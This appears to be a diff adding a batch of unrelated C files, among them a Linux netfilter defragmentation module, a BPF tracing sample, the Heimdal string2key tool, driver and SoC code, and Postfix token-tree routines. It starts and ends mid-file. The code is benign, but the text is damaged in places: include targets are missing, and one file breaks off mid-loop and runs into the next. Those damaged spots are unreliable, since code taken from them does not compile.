skb->nf_bridge->mask & BRNF_NF_BRIDGE_PREROUTING) + return IP_DEFRAG_CONNTRACK_BRIDGE_IN + zone; +#endif + if (hooknum == NF_INET_PRE_ROUTING) + return IP_DEFRAG_CONNTRACK_IN + zone; + else + return IP_DEFRAG_CONNTRACK_OUT + zone; +} + +static unsigned int ipv4_conntrack_defrag(unsigned int hooknum, + struct sk_buff *skb, + const struct net_device *in, + const struct net_device *out, + int (*okfn)(struct sk_buff *)) +{ + struct sock *sk = skb->sk; + struct inet_sock *inet = inet_sk(skb->sk); + + if (sk && (sk->sk_family == PF_INET) && + inet->nodefrag) + return NF_ACCEPT; + +#if defined(CONFIG_NF_CONNTRACK) || defined(CONFIG_NF_CONNTRACK_MODULE) +#if !defined(CONFIG_NF_NAT) && !defined(CONFIG_NF_NAT_MODULE) + /* Previously seen (loopback)? Ignore. Do this before + fragment check. */ + if (skb->nfct && !nf_ct_is_template((struct nf_conn *)skb->nfct)) + return NF_ACCEPT; +#endif +#endif + /* Gather fragments. */ + if (ip_is_fragment(ip_hdr(skb))) { + enum ip_defrag_users user = nf_ct_defrag_user(hooknum, skb); + if (nf_ct_ipv4_gather_frags(skb, user)) + return NF_STOLEN; + } + return NF_ACCEPT; +} + +static struct nf_hook_ops ipv4_defrag_ops[] = { + { + .hook = ipv4_conntrack_defrag, + .owner = THIS_MODULE, + .pf = PF_INET, + .hooknum = NF_INET_PRE_ROUTING, + .priority = NF_IP_PRI_CONNTRACK_DEFRAG, + }, + { + .hook = ipv4_conntrack_defrag, + .owner = THIS_MODULE, + .pf = PF_INET, + .hooknum = NF_INET_LOCAL_OUT, + .priority = NF_IP_PRI_CONNTRACK_DEFRAG, + }, +}; + +static int __init nf_defrag_init(void) +{ + return nf_register_hooks(ipv4_defrag_ops, ARRAY_SIZE(ipv4_defrag_ops)); +} + +static void __exit nf_defrag_fini(void) +{ + nf_unregister_hooks(ipv4_defrag_ops, ARRAY_SIZE(ipv4_defrag_ops)); +} + +void nf_defrag_ipv4_enable(void) +{ +} +EXPORT_SYMBOL_GPL(nf_defrag_ipv4_enable); + +module_init(nf_defrag_init); +module_exit(nf_defrag_fini); + +MODULE_LICENSE("GPL"); diff --git a/pool/shard011/C/0141972_ft_readfile.c b/pool/shard011/C/0141972_ft_readfile.c new file mode 100644 index 0000000000000000000000000000000000000000..337d30a48e1b6675f3ee4c407e716bdd79b82ee9 --- /dev/null +++ b/pool/shard011/C/0141972_ft_readfile.c @@ -0,0 +1,43 @@ +/* ************************************************************************** */ +/* */ +/* ::: :::::::: */ +/* ft_readfile.c :+: :+: :+: */ +/* +:+ +:+ +:+ */ +/* By: hmartzol +#+ +:+ +#+ */ +/* +#+#+#+#+#+ +#+ */ +/* Created: 2016/02/08 21:03:26 by hmartzol #+# #+# */ +/* Updated: 2016/10/14 14:09:57 by hmartzol ### ########.fr */ +/* */ +/* ************************************************************************** */ + +#include + +#define READBUFF 80 + +char *ft_readfile(int fd) +{ + char buff[READBUFF]; + int r; + int size; + char *t_str; + char *file; + + size = 1; + file = NULL; + while ((r = read(fd, buff, READBUFF))) + { + if ((t_str = (char *)malloc(sizeof(char) * (r + size))) == NULL) + return (NULL); + if (file != NULL) + { + ft_strcpy(t_str, file); + free(file); + } + ft_memcpy(t_str + size - 1, buff, r); + file = t_str; + size += r; + } + if (file[size - 1]) + file[size - 1] = 0; + return (file); +} diff --git a/pool/shard011/C/0141973_tracex2_user.c b/pool/shard011/C/0141973_tracex2_user.c new file mode 100644 index 0000000000000000000000000000000000000000..7321a3f253c991f88e96f2a53e6ffa3e7c5f1719 --- /dev/null +++ b/pool/shard011/C/0141973_tracex2_user.c @@ -0,0 +1,159 @@ +#include +#include +#include +#include +#include +#include +#include + +#include "libbpf.h" +#include "bpf_load.h" +#include "bpf_util.h" + +#define MAX_INDEX 64 +#define MAX_STARS 38 + +static void stars(char *str, long val, long max, int width) +{ + int i; + + for (i = 0; i < (width * val / max) - 1 && i < width - 1; i++) + str[i] = '*'; + if (val > max) + str[i - 1] = '+'; + str[i] = '\0'; +} + +struct task { + char comm[16]; + __u64 pid_tgid; + __u64 uid_gid; +}; + +struct hist_key { + struct task t; + __u32 index; +}; + +#define SIZE sizeof(struct task) + +static void print_hist_for_pid(int fd, void *task) +{ + unsigned int nr_cpus = bpf_num_possible_cpus(); + struct hist_key key = {}, next_key; + long values[nr_cpus]; + char starstr[MAX_STARS]; + long value; + long data[MAX_INDEX] = {}; + int max_ind = -1; + long max_value = 0; + int i, ind; + + while (bpf_map_get_next_key(fd, &key, &next_key) == 0) { + if (memcmp(&next_key, task, SIZE)) { + key = next_key; + continue; + } + bpf_map_lookup_elem(fd, &next_key, values); + value = 0; + for (i = 0; i < nr_cpus; i++) + value += values[i]; + ind = next_key.index; + data[ind] = value; + if (value && ind > max_ind) + max_ind = ind; + if (value > max_value) + max_value = value; + key = next_key; + } + + printf(" syscall write() stats\n"); + printf(" byte_size : count distribution\n"); + for (i = 1; i <= max_ind + 1; i++) { + stars(starstr, data[i - 1], max_value, MAX_STARS); + printf("%8ld -> %-8ld : %-8ld |%-*s|\n", + (1l << i) >> 1, (1l << i) - 1, data[i - 1], + MAX_STARS, starstr); + } +} + +static void print_hist(int fd) +{ + struct hist_key key = {}, next_key; + static struct task tasks[1024]; + int task_cnt = 0; + int i; + + while (bpf_map_get_next_key(fd, &key, &next_key) == 0) { + int found = 0; + + for (i = 0; i < task_cnt; i++) + if (memcmp(&tasks[i], &next_key, SIZE) == 0) + found = 1; + if (!found) + memcpy(&tasks[task_cnt++], &next_key, SIZE); + key = next_key; + } + + for (i = 0; i < task_cnt; i++) { + printf("\npid %d cmd %s uid %d\n", + (__u32) tasks[i].pid_tgid, + tasks[i].comm, + (__u32) tasks[i].uid_gid); + print_hist_for_pid(fd, &tasks[i]); + } + +} + +static void int_exit(int sig) +{ + print_hist(map_fd[1]); + exit(0); +} + +int main(int ac, char **argv) +{ + struct rlimit r = {1024*1024, RLIM_INFINITY}; + char filename[256]; + long key, next_key, value; + FILE *f; + int i; + + snprintf(filename, sizeof(filename), "%s_kern.o", argv[0]); + + if (setrlimit(RLIMIT_MEMLOCK, &r)) { + perror("setrlimit(RLIMIT_MEMLOCK)"); + return 1; + } + + signal(SIGINT, int_exit); + signal(SIGTERM, int_exit); + + /* start 'ping' in the background to have some kfree_skb events */ + f = popen("ping -c5 localhost", "r"); + (void) f; + + /* start 'dd' in the background to have plenty of 'write' syscalls */ + f = popen("dd if=/dev/zero of=/dev/null count=5000000", "r"); + (void) f; + + if (load_bpf_file(filename)) { + printf("%s", bpf_log_buf); + return 1; + } + + for (i = 0; i < 5; i++) { + key = 0; + while (bpf_map_get_next_key(map_fd[0], &key, &next_key) == 0) { + bpf_map_lookup_elem(map_fd[0], &next_key, &value); + printf("location 0x%lx count %ld\n", next_key, value); + key = next_key; + } + if (key) + printf("\n"); + sleep(1); + } + print_hist(map_fd[1]); + + return 0; +} diff --git a/pool/shard011/C/0141974_led.c b/pool/shard011/C/0141974_led.c new file mode 100644 index 0000000000000000000000000000000000000000..330b504751a3e0136b5947adbe8da0775a6ba27a --- /dev/null +++ b/pool/shard011/C/0141974_led.c @@ -0,0 +1,63 @@ +/* + * Copyright (c) 2015 - 2025 MaiKe Labs + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + * +*/ +#include "user_config.h" + +static int led_status = 0; + +irom void led_init() +{ + led_off(); + + // GPIO3: the wifi status led + wifi_status_led_install (3, PERIPHS_IO_MUX_U0RXD_U, FUNC_GPIO3); +} + +irom void wifi_led_enable() +{ + // GPIO13: the wifi status led + wifi_status_led_install (3, PERIPHS_IO_MUX_U0RXD_U, FUNC_GPIO3); +} + +irom void wifi_led_disable() +{ + wifi_status_led_uninstall(); +} + +irom void led_on() +{ + INFO("led on\r\n"); + INFO("set gpio3 to high\r\n"); + gpio_output_set(BIT3, 0, BIT3, 0); + led_status = 1; +} + +irom void led_off() +{ + INFO("led off\r\n"); + INFO("set gpio3 to low\r\n"); + gpio_output_set(0, BIT3, BIT3, 0); + led_status = 0; +} + +irom void toggle_led() +{ + if(led_status == 0) + led_on(); + else + led_off(); +} diff --git a/pool/shard011/C/0141975_string2key.c b/pool/shard011/C/0141975_string2key.c new file mode 100644 index 0000000000000000000000000000000000000000..1b603dece58d4508f691cd10f48fd386fe875e25 --- /dev/null +++ b/pool/shard011/C/0141975_string2key.c @@ -0,0 +1,189 @@ +/* + * Copyright (c) 1997-2003 Kungliga Tekniska Högskolan + * (Royal Institute of Technology, Stockholm, Sweden). + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * 3. Neither the name of the Institute nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE INSTITUTE AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE INSTITUTE OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#include "headers.h" +#include + +int version5; +int version4; +int afs; +char *principal; +char *cell; +char *password; +const char *keytype_str = "des3-cbc-sha1"; +int version; +int help; + +struct getargs args[] = { + { "version5", '5', arg_flag, &version5, "Output Kerberos v5 string-to-key", + NULL }, + { "version4", '4', arg_flag, &version4, "Output Kerberos v4 string-to-key", + NULL }, + { "afs", 'a', arg_flag, &afs, "Output AFS string-to-key", NULL }, + { "cell", 'c', arg_string, &cell, "AFS cell to use", "cell" }, + { "password", 'w', arg_string, &password, "Password to use", "password" }, + { "principal",'p', arg_string, &principal, "Kerberos v5 principal to use", "principal" }, + { "keytype", 'k', arg_string, rk_UNCONST(&keytype_str), "Keytype", NULL }, + { "version", 0, arg_flag, &version, "print version", NULL }, + { "help", 0, arg_flag, &help, NULL, NULL } +}; + +int num_args = sizeof(args) / sizeof(args[0]); + +static void +usage(int status) +{ + arg_printusage (args, num_args, NULL, "password"); + exit(status); +} + +static void +tokey(krb5_context context, + krb5_enctype enctype, + const char *pw, + krb5_salt salt, + const char *label) +{ + krb5_error_code ret; + size_t i; + krb5_keyblock key; + char *e; + + ret = krb5_string_to_key_salt(context, enctype, pw, salt, &key); + if (ret) + krb5_err(context, 1, ret, "krb5_string_to_key_salt"); + ret = krb5_enctype_to_string(context, enctype, &e); + if (ret) + krb5_err(context, 1, ret, "krb5_enctype_to_string"); + printf(label, e); + printf(": "); + for(i = 0; i < key.keyvalue.length; i++) + printf("%02x", ((unsigned char*)key.keyvalue.data)[i]); + printf("\n"); + krb5_free_keyblock_contents(context, &key); + free(e); +} + +int +main(int argc, char **argv) +{ + krb5_context context; + krb5_principal princ; + krb5_salt salt; + int optidx; + char buf[1024]; + krb5_enctype etype; + krb5_error_code ret; + + optidx = krb5_program_setup(&context, argc, argv, args, num_args, NULL); + + if(help) + usage(0); + + if(version){ + print_version (NULL); + return 0; + } + + argc -= optidx; + argv += optidx; + + if (argc > 1) + usage(1); + + if(!version5 && !version4 && !afs) + version5 = 1; + + ret = krb5_string_to_enctype(context, keytype_str, &etype); + if(ret) + krb5_err(context, 1, ret, "krb5_string_to_enctype"); + + if((etype != (krb5_enctype)ETYPE_DES_CBC_CRC && + etype != (krb5_enctype)ETYPE_DES_CBC_MD4 && + etype != (krb5_enctype)ETYPE_DES_CBC_MD5) && + (afs || version4)) { + if(!version5) { + etype = ETYPE_DES_CBC_CRC; + } else { + krb5_errx(context, 1, + "DES is the only valid keytype for AFS and Kerberos 4"); + } + } + + if(version5 && principal == NULL){ + printf("Kerberos v5 principal: "); + if(fgets(buf, sizeof(buf), stdin) == NULL) + return 1; + buf[strcspn(buf, "\r\n")] = '\0'; + principal = estrdup(buf); + } + if(afs && cell == NULL){ + printf("AFS cell: "); + if(fgets(buf, sizeof(buf), stdin) == NULL) + return 1; + buf[strcspn(buf, "\r\n")] = '\0'; + cell = estrdup(buf); + } + if(argv[0]) + password = argv[0]; + if(password == NULL){ + if(UI_UTIL_read_pw_string(buf, sizeof(buf), "Password: ", 0)) + return 1; + password = buf; + } + + if(version5){ + ret = krb5_parse_name(context, principal, &princ); + if (ret) + krb5_err(context, 1, ret, "failed to unparse name: %s", principal); + ret = krb5_get_pw_salt(context, princ, &salt); + if (ret) + krb5_err(context, 1, ret, "failed to get salt for %s", principal); + + tokey(context, etype, password, salt, "Kerberos 5 (%s)"); + krb5_free_salt(context, salt); + } + if(version4){ + salt.salttype = KRB5_PW_SALT; + salt.saltvalue.length = 0; + salt.saltvalue.data = NULL; + tokey(context, ETYPE_DES_CBC_MD5, password, salt, "Kerberos 4"); + } + if(afs){ + salt.salttype = KRB5_AFS3_SALT; + salt.saltvalue.length = strlen(cell); + salt.saltvalue.data = cell; + tokey(context, ETYPE_DES_CBC_MD5, password, salt, "AFS"); + } + return 0; +} diff --git a/pool/shard011/C/0141976_rt288x.c b/pool/shard011/C/0141976_rt288x.c new file mode 100644 index 0000000000000000000000000000000000000000..493335db2fe15bc9667d4da3645b42023242b744 --- /dev/null +++ b/pool/shard011/C/0141976_rt288x.c @@ -0,0 +1,90 @@ +// SPDX-License-Identifier: GPL-2.0-only +/* + * + * Parts of this file are based on Ralink's 2.6.21 BSP + * + * Copyright (C) 2008-2011 Gabor Juhos + * Copyright (C) 2008 Imre Kaloz + * Copyright (C) 2013 John Crispin + */ + +#include +#include + +#include +#include +#include + +#include "common.h" + +void __init ralink_clk_init(void) +{ + unsigned long cpu_rate, wmac_rate = 40000000; + u32 t = rt_sysc_r32(SYSC_REG_SYSTEM_CONFIG); + t = ((t >> SYSTEM_CONFIG_CPUCLK_SHIFT) & SYSTEM_CONFIG_CPUCLK_MASK); + + switch (t) { + case SYSTEM_CONFIG_CPUCLK_250: + cpu_rate = 250000000; + break; + case SYSTEM_CONFIG_CPUCLK_266: + cpu_rate = 266666667; + break; + case SYSTEM_CONFIG_CPUCLK_280: + cpu_rate = 280000000; + break; + case SYSTEM_CONFIG_CPUCLK_300: + cpu_rate = 300000000; + break; + } + + ralink_clk_add("cpu", cpu_rate); + ralink_clk_add("300100.timer", cpu_rate / 2); + ralink_clk_add("300120.watchdog", cpu_rate / 2); + ralink_clk_add("300500.uart", cpu_rate / 2); + ralink_clk_add("300900.i2c", cpu_rate / 2); + ralink_clk_add("300c00.uartlite", cpu_rate / 2); + ralink_clk_add("400000.ethernet", cpu_rate / 2); + ralink_clk_add("480000.wmac", wmac_rate); +} + +void __init ralink_of_remap(void) +{ + rt_sysc_membase = plat_of_remap_node("ralink,rt2880-sysc"); + rt_memc_membase = plat_of_remap_node("ralink,rt2880-memc"); + + if (!rt_sysc_membase || !rt_memc_membase) + panic("Failed to remap core resources"); +} + +void __init prom_soc_init(struct ralink_soc_info *soc_info) +{ + void __iomem *sysc = (void __iomem *) KSEG1ADDR(RT2880_SYSC_BASE); + const char *name; + u32 n0; + u32 n1; + u32 id; + + n0 = __raw_readl(sysc + SYSC_REG_CHIP_NAME0); + n1 = __raw_readl(sysc + SYSC_REG_CHIP_NAME1); + id = __raw_readl(sysc + SYSC_REG_CHIP_ID); + + if (n0 == RT2880_CHIP_NAME0 && n1 == RT2880_CHIP_NAME1) { + soc_info->compatible = "ralink,r2880-soc"; + name = "RT2880"; + } else { + panic("rt288x: unknown SoC, n0:%08x n1:%08x", n0, n1); + } + + snprintf(soc_info->sys_type, RAMIPS_SYS_TYPE_LEN, + "Ralink %s id:%u rev:%u", + name, + (id >> CHIP_ID_ID_SHIFT) & CHIP_ID_ID_MASK, + (id & CHIP_ID_REV_MASK)); + + soc_info->mem_base = RT2880_SDRAM_BASE; + soc_info->mem_size_min = RT2880_MEM_SIZE_MIN; + soc_info->mem_size_max = RT2880_MEM_SIZE_MAX; + + ralink_soc = RT2880_SOC; +} diff --git a/pool/shard011/C/0141977_core.c b/pool/shard011/C/0141977_core.c new file mode 100644 index 0000000000000000000000000000000000000000..4340ea8fb11fc79e35df3443489736ecff43ec2f --- /dev/null +++ b/pool/shard011/C/0141977_core.c @@ -0,0 +1,203 @@ +/* + * core.c - contains all core device and protocol registration functions + * + * Copyright 2002 Adam Belay + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "base.h" + +static LIST_HEAD(pnp_protocols); +LIST_HEAD(pnp_global); +DEFINE_SPINLOCK(pnp_lock); + +int pnp_platform_devices; +EXPORT_SYMBOL(pnp_platform_devices); + +void *pnp_alloc(long size) +{ + void *result; + + result = kzalloc(size, GFP_KERNEL); + if (!result) { + printk(KERN_ERR "pnp: Out of Memory\n"); + return NULL; + } + return result; +} + +int pnp_register_protocol(struct pnp_protocol *protocol) +{ + int nodenum; + struct list_head *pos; + + INIT_LIST_HEAD(&protocol->devices); + INIT_LIST_HEAD(&protocol->cards); + nodenum = 0; + spin_lock(&pnp_lock); + + + list_for_each(pos, &pnp_protocols) { + struct pnp_protocol *cur = to_pnp_protocol(pos); + if (cur->number == nodenum) { + pos = &pnp_protocols; + nodenum++; + } + } + + list_add_tail(&protocol->protocol_list, &pnp_protocols); + spin_unlock(&pnp_lock); + + protocol->number = nodenum; + dev_set_name(&protocol->dev, "pnp%d", nodenum); + return device_register(&protocol->dev); +} + +void pnp_unregister_protocol(struct pnp_protocol *protocol) +{ + spin_lock(&pnp_lock); + list_del(&protocol->protocol_list); + spin_unlock(&pnp_lock); + device_unregister(&protocol->dev); +} + +static void pnp_free_ids(struct pnp_dev *dev) +{ + struct pnp_id *id; + struct pnp_id *next; + + id = dev->id; + while (id) { + next = id->next; + kfree(id); + id = next; + } +} + +void pnp_free_resource(struct pnp_resource *pnp_res) +{ + list_del(&pnp_res->list); + kfree(pnp_res); +} + +void pnp_free_resources(struct pnp_dev *dev) +{ + struct pnp_resource *pnp_res, *tmp; + + list_for_each_entry_safe(pnp_res, tmp, &dev->resources, list) { + pnp_free_resource(pnp_res); + } +} + +static void pnp_release_device(struct device *dmdev) +{ + struct pnp_dev *dev = to_pnp_dev(dmdev); + + pnp_free_ids(dev); + pnp_free_resources(dev); + pnp_free_options(dev); + kfree(dev); +} + +struct pnp_dev *pnp_alloc_dev(struct pnp_protocol *protocol, int id, + const char *pnpid) +{ + struct pnp_dev *dev; + struct pnp_id *dev_id; + + dev = kzalloc(sizeof(struct pnp_dev), GFP_KERNEL); + if (!dev) + return NULL; + + INIT_LIST_HEAD(&dev->resources); + INIT_LIST_HEAD(&dev->options); + dev->protocol = protocol; + dev->number = id; + dev->dma_mask = DMA_BIT_MASK(24); + + dev->dev.parent = &dev->protocol->dev; + dev->dev.bus = &pnp_bus_type; + dev->dev.dma_mask = &dev->dma_mask; + dev->dev.coherent_dma_mask = dev->dma_mask; + dev->dev.release = &pnp_release_device; + + dev_set_name(&dev->dev, "%02x:%02x", dev->protocol->number, dev->number); + + dev_id = pnp_add_id(dev, pnpid); + if (!dev_id) { + kfree(dev); + return NULL; + } + + return dev; +} + +int __pnp_add_device(struct pnp_dev *dev) +{ + pnp_fixup_device(dev); + dev->status = PNP_READY; + spin_lock(&pnp_lock); + list_add_tail(&dev->global_list, &pnp_global); + list_add_tail(&dev->protocol_list, &dev->protocol->devices); + spin_unlock(&pnp_lock); + if (dev->protocol->can_wakeup) + device_set_wakeup_capable(&dev->dev, + dev->protocol->can_wakeup(dev)); + return device_register(&dev->dev); +} + +int pnp_add_device(struct pnp_dev *dev) +{ + int ret; + char buf[128]; + int len = 0; + struct pnp_id *id; + + if (dev->card) + return -EINVAL; + + ret = __pnp_add_device(dev); + if (ret) + return ret; + + buf[0] = '\0'; + for (id = dev->id; id; id = id->next) + len += scnprintf(buf + len, sizeof(buf) - len, " %s", id->id); + + dev_printk(KERN_DEBUG, &dev->dev, "%s device, IDs%s (%s)\n", + dev->protocol->name, buf, + dev->active ? "active" : "disabled"); + return 0; +} + +void __pnp_remove_device(struct pnp_dev *dev) +{ + spin_lock(&pnp_lock); + list_del(&dev->global_list); + list_del(&dev->protocol_list); + spin_unlock(&pnp_lock); + device_unregister(&dev->dev); +} + +static int __init pnp_init(void) +{ + return bus_register(&pnp_bus_type); +} + +subsys_initcall(pnp_init); + +int pnp_debug; + +#if defined(CONFIG_PNP_DEBUG_MESSAGES) +module_param_named(debug, pnp_debug, int, 0644); +#endif diff --git a/pool/shard011/C/0141978_devrd.c b/pool/shard011/C/0141978_devrd.c new file mode 100644 index 0000000000000000000000000000000000000000..85c53583cce6845224cea0bd23a615872fa32ff7 --- /dev/null +++ b/pool/shard011/C/0141978_devrd.c @@ -0,0 +1,75 @@ +/* + * memory backed block device driver + * + * /dev/rd0 (block device) RAM disk + * /dev/rd1 (block device) ROM disk + * + * 2017-01-03 William R Sowerbutts, based on RAM disk code by Sergey Kiselev + */ + +#include +#include +#include +#define DEVRD_PRIVATE +#include "devrd.h" + +static const uint32_t dev_limit[NUM_DEV_RD] = { + DEV_RD_ROM_START+DEV_RD_ROM_SIZE, /* /dev/rd0: ROM */ + DEV_RD_RAM_START+DEV_RD_RAM_SIZE, /* /dev/rd1: RAM */ +}; + +static const uint32_t dev_start[NUM_DEV_RD] = { + DEV_RD_ROM_START, /* /dev/rd0: ROM */ + DEV_RD_RAM_START, /* /dev/rd1: RAM */ +}; + +/* implements both rd_read and rd_write */ +int rd_transfer(uint8_t minor, uint8_t rawflag, uint8_t flag) +{ + used(flag); + + /* check device exists; do not allow writes to ROM */ + if (minor == RD_MINOR_ROM && rd_reverse) { + udata.u_error = EROFS; + return -1; + } else { + rd_src_address = dev_start[minor]; + + if (rawflag) { + if (d_blkoff(9)) + return -1; + /* rawflag == 1, userspace transfer */ + } + rd_dst_userspace = rawflag; + + rd_dst_address = (uint16_t)udata.u_dptr; + rd_src_address += ((uint32_t)udata.u_block) << BLKSHIFT; + + if (rd_src_address >= dev_limit[minor]) { + udata.u_error = EIO; + return -1; + } + } + rd_platform_copy(); + return rd_cpy_count; +} + +int rd_open(uint8_t minor, uint16_t flags) +{ + flags; /* unused */ + + switch(minor){ +#if DEV_RD_RAM_PAGES > 0 + case RD_MINOR_RAM: +#endif +#if DEV_RD_ROM_PAGES > 0 + case RD_MINOR_ROM: +#endif +#if (DEV_RD_ROM_PAGES+DEV_RD_RAM_PAGES) > 0 + return 0; +#endif + default: + udata.u_error = ENXIO; + return -1; + } +} diff --git a/pool/shard011/C/0141979_add_kernels.c b/pool/shard011/C/0141979_add_kernels.c new file mode 100644 index 0000000000000000000000000000000000000000..1d457e322508f3b70bdb4980579ff8e8deee8706 --- /dev/null +++ b/pool/shard011/C/0141979_add_kernels.c @@ -0,0 +1,38 @@ +#include +#include + +int main(){ + + int i, n=1024; + int *a, *b, *c; + size_t nbytes=n*sizeof(int); + + printf("nbytes %d \n", nbytes); + + a=malloc(nbytes); + b=malloc(nbytes); + c=malloc(nbytes); + + for (i=0; i +/* +/* TOK822 *tok822_append(t1, t2) +/* TOK822 *t1; +/* TOK822 *t2; +/* +/* TOK822 *tok822_prepend(t1, t2) +/* TOK822 *t1; +/* TOK822 *t2; +/* +/* TOK822 *tok822_cut_before(tp) +/* TOK822 *tp; +/* +/* TOK822 *tok822_cut_after(tp) +/* TOK822 *tp; +/* +/* TOK822 *tok822_unlink(tp) +/* TOK822 *tp; +/* +/* TOK822 *tok822_sub_append(t1, t2) +/* TOK822 *t1; +/* +/* TOK822 *tok822_sub_prepend(t1, t2) +/* TOK822 *t1; +/* TOK822 *t2; +/* +/* TOK822 *tok822_sub_keep_before(t1, t2) +/* TOK822 *tp; +/* +/* TOK822 *tok822_sub_keep_after(t1, t2) +/* TOK822 *tp; +/* +/* int tok822_apply(list, type, action) +/* TOK822 *list; +/* int type; +/* int (*action)(TOK822 *token); +/* +/* int tok822_grep(list, type) +/* TOK822 *list; +/* int type; +/* +/* TOK822 *tok822_free_tree(tp) +/* TOK822 *tp; +/* DESCRIPTION +/* This module manipulates trees of token structures. Trees grow +/* to the right or downwards. Operators are provided to cut and +/* combine trees in various manners. +/* +/* tok822_append() appends the token list \fIt2\fR to the right +/* of token list \fIt1\fR. The result is the last token in \fIt2\fR. +/* The appended list inherits the \fIowner\fR attribute from \fIt1\fR. +/* The parent node, if any, is not updated. +/* +/* tok822_prepend() inserts the token list \fIt2\fR to the left +/* of token \fIt1\fR. The result is the last token in \fIt2\fR. +/* The appended list inherits the \fIowner\fR attribute from \fIt1\fR. +/* The parent node, if any, is not updated. +/* +/* tok822_cut_before() breaks a token list on the left side of \fItp\fR +/* and returns the left neighbor of \tItp\fR. +/* +/* tok822_cut_after() breaks a token list on the right side of \fItp\fR +/* and returns the right neighbor of \tItp\fR. +/* +/* tok822_unlink() disconnects a token from its left and right neighbors +/* and returns the left neighbor of \tItp\fR. +/* +/* tok822_sub_append() appends the token list \fIt2\fR to the right +/* of the token list below \fIt1\fR. The result is the last token +/* in \fIt2\fR. +/* +/* tok822_sub_prepend() prepends the token list \fIt2\fR to the left +/* of the token list below \fIt1\fR. The result is the last token +/* in \fIt2\fR. +/* +/* tok822_sub_keep_before() keeps the token list below \fIt1\fR on the +/* left side of \fIt2\fR and returns the tail of the disconnected list. +/* +/* tok822_sub_keep_after() keeps the token list below \fIt1\fR on the +/* right side of \fIt2\fR and returns the head of the disconnected list. +/* +/* tok822_apply() applies the specified action routine to all tokens +/* matching the given type (to all tokens when a null type is given). +/* Processing terminates when the action routine returns a non-zero +/* value. The result is the last result returned by the action routine. +/* tok822_apply() does not traverse vertical links. +/* +/* tok822_grep() returns a null-terminated array of pointers to tokens +/* matching the specified type (all tokens when a null type is given). +/* tok822_grep() does not traverse vertical links. The result must be +/* given to myfree(). +/* +/* tok822_free_tree() destroys a tree of token structures and +/* conveniently returns a null pointer. +/* LICENSE +/* .ad +/* .fi +/* The Secure Mailer license must be distributed with this software. +/* AUTHOR(S) +/* Wietse Venema +/* IBM T.J. Watson Research +/* P.O. Box 704 +/* Yorktown Heights, NY 10598, USA +/*--*/ + +/* System library. */ + +#include + +/* Utility library. */ + +#include +#include + +/* Global library. */ + +#include "tok822.h" + +/* tok822_append - insert token list, return end of inserted list */ + +TOK822 *tok822_append(TOK822 *t1, TOK822 *t2) +{ + TOK822 *next = t1->next; + + t1->next = t2; + t2->prev = t1; + + t2->owner = t1->owner; + while (t2->next) + (t2 = t2->next)->owner = t1->owner; + + t2->next = next; + if (next) + next->prev = t2; + return (t2); +} + +/* tok822_prepend - insert token list, return end of inserted list */ + +TOK822 *tok822_prepend(TOK822 *t1, TOK822 *t2) +{ + TOK822 *prev = t1->prev; + + if (prev) + prev->next = t2; + t2->prev = prev; + + t2->owner = t1->owner; + while (t2->next) + (t2 = t2->next)->owner = t1->owner; + + t2->next = t1; + t1->prev = t2; + return (t2); +} + +/* tok822_cut_before - split list before token, return predecessor token */ + +TOK822 *tok822_cut_before(TOK822 *tp) +{ + TOK822 *prev = tp->prev; + + if (prev) { + prev->next = 0; + tp->prev = 0; + } + return (prev); +} + +/* tok822_cut_after - split list after token, return successor token */ + +TOK822 *tok822_cut_after(TOK822 *tp) +{ + TOK822 *next = tp->next; + + if (next) { + next->prev = 0; + tp->next = 0; + } + return (next); +} + +/* tok822_unlink - take token away from list, return predecessor token */ + +TOK822 *tok822_unlink(TOK822 *tp) +{ + TOK822 *prev = tp->prev; + TOK822 *next = tp->next; + + if (prev) + prev->next = next; + if (next) + next->prev = prev; + tp->prev = tp->next = 0; + return (prev); +} + +/* tok822_sub_append - append sublist, return end of appended list */ + +TOK822 *tok822_sub_append(TOK822 *t1, TOK822 *t2) +{ + if (t1->head) { + return (t1->tail = tok822_append(t1->tail, t2)); + } else { + t1->head = t2; + t2->owner = t1; + while (t2->next) + (t2 = t2->next)->owner = t1; + return (t1->tail = t2); + } +} + +/* tok822_sub_prepend - prepend sublist, return end of prepended list */ + +TOK822 *tok822_sub_prepend(TOK822 *t1, TOK822 *t2) +{ + TOK822 *tp; + + if (t1->head) { + tp = tok822_prepend(t1->head, t2); + t1->head = t2; + return (tp); + } else { + t1->head = t2; + t2->owner = t1; + while (t2->next) + (t2 = t2->next)->owner = t1; + return (t1->tail = t2); + } +} + +/* tok822_sub_keep_before - cut sublist, return tail of disconnected list */ + +TOK822 *tok822_sub_keep_before(TOK822 *t1, TOK822 *t2) +{ + TOK822 *tail = t1->tail; + + if ((t1->tail = tok822_cut_before(t2)) == 0) + t1->head = 0; + return (tail); +} + +/* tok822_sub_keep_after - cut sublist, return head of disconnected list */ + 